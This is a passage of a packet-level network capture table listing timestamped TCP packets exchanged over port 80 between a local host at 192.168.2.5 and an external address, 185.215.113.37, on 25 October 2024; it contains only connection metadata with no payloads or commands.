Oct 25, 2024 07:28:11.779700994 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:11.779711962 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:11.779722929 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:11.779742002 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:11.779773951 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:11.779994965 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:11.780006886 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:11.780019045 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:11.780030966 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:11.780040979 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:11.780059099 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:11.780077934 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:11.780595064 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:11.780606985 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:11.780616999 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:11.780646086 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:11.780663013 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:11.824717999 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:11.824729919 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:11.824745893 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:11.824755907 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:11.824769020 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:11.824781895 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:11.824902058 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:11.854969978 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:11.854983091 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:11.854994059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:11.855098009 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:11.855098009 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:11.855163097 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:11.855176926 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:11.855187893 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:11.855216980 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:11.855241060 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:11.855559111 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:11.855570078 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:11.855580091 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:11.855614901 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:11.855643988 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:11.894232035 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:11.894268990 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:11.894332886 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:11.894334078 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:11.894366980 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:11.894375086 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:11.896842957 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:11.896872044 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:11.896887064 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:11.896914005 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:11.896929026 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:11.896972895 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:11.896980047 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:11.897016048 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:11.897021055 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:11.897058010 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:11.897068024 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:11.897118092 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:11.897119045 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:11.897166014 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:11.897867918 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:11.897902966 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:11.897918940 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:11.897939920 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:11.897959948 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:11.897969007 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:11.897984028 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:11.898011923 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:11.898432970 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:11.898466110 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:11.898478031 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:11.898509026 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:11.898518085 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:11.898561954 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:11.941925049 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:11.941951990 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:11.941963911 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:11.941998959 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:11.942024946 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:11.942029953 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:11.942044973 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:11.942070007 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:11.942102909 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:11.972075939 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:11.972129107 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:11.972162962 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:11.972173929 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:11.972202063 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:11.972218037 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:11.972222090 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:11.972233057 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:11.972261906 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:11.972274065 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:11.972605944 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:11.972654104 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:11.972670078 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:11.972682953 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:11.972692966 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:11.972723007 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:11.972753048 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.011512995 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.011534929 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.011545897 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.011600018 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.011621952 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.014146090 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.014158964 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.014170885 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.014183998 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.014205933 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.014234066 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.014483929 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.014498949 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.014509916 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.014532089 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.014559984 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.014564037 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.014578104 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.014605045 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.014631987 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.015384912 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.015398026 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.015407085 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.015438080 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.015458107 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.015753031 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.015765905 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.015778065 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.015789032 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.015801907 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.015829086 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.059212923 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.059231997 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.059245110 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.059257030 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.059302092 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.059328079 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.089426994 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.089458942 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.089468002 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.089468956 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.089478970 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.089508057 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.089545965 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.089595079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.089610100 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.089621067 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.089638948 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.089659929 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.090064049 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.090096951 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.090115070 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.090131998 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.090142965 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.090173006 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.129863024 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.129968882 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.130199909 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.130244017 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.130275965 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.130297899 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.131576061 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.131611109 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.131640911 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.131663084 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.131706953 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.131743908 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.131763935 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.131779909 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.131788969 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.131828070 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.131905079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.131958961 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.131973982 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.132029057 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.132035971 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.132074118 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.132090092 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.132108927 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.132127047 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.132153034 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.132847071 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.132911921 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.132911921 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.132946968 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.132967949 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.132996082 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.133392096 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.133425951 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.133455992 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.133462906 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.133467913 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.133497953 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.133506060 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.133548975 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.176789999 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.176806927 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.176888943 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.211225986 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.211297035 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.211297035 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.211354971 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.211373091 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.211390972 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.211407900 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.211436033 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.211442947 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.211482048 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.211601019 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.211635113 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.211652994 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.211680889 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.211688995 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.211741924 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.245965004 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.245997906 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.246057034 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.246068954 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.246089935 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.246107101 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.246124983 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.246171951 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.248691082 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.248728991 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.248748064 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.248764992 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.248776913 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.248918056 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.248965979 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.248984098 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.248991013 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.249021053 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.249032974 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.249057055 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.249067068 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.249094009 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.249100924 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.249140978 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.249746084 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.249798059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.249802113 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.249833107 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.249846935 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.249869108 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.249881983 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.249913931 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.249918938 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.249970913 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.250610113 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.250667095 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.250675917 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.250714064 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.250720978 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.250747919 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.250760078 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.250785112 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.250794888 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.250828028 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.251488924 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.251523018 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.251543045 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.251558065 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.251565933 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.251605034 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.323741913 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.323805094 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.323826075 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.323841095 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.323849916 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.323893070 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.328442097 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.328478098 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.328488111 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.328514099 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.328519106 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.328551054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.328566074 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.328594923 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.328668118 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.328700066 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.328722000 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.328829050 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.363116980 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.363174915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.363183022 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.363210917 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.363243103 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.363257885 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.365793943 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.365824938 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.365849972 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.365861893 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.365892887 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.365926027 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.365942955 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.365962982 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.365968943 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.365998983 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.366013050 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.366050005 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.366430998 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.366461039 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.366487026 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.366504908 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.366588116 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.366621971 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.366638899 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.366660118 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.366674900 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.366698027 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.366707087 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.366749048 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.367166996 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.367221117 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.367233038 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.367269039 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.367285967 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.367305040 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.367311001 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.367357969 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.367357969 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.367397070 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.367410898 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.367446899 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.368062019 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.368073940 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.368096113 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.368108988 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.368114948 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.368123055 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.368140936 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.368168116 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:12.409324884 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:12.409411907 CEST	49704	80	192.168.2.5	185.215.113.37
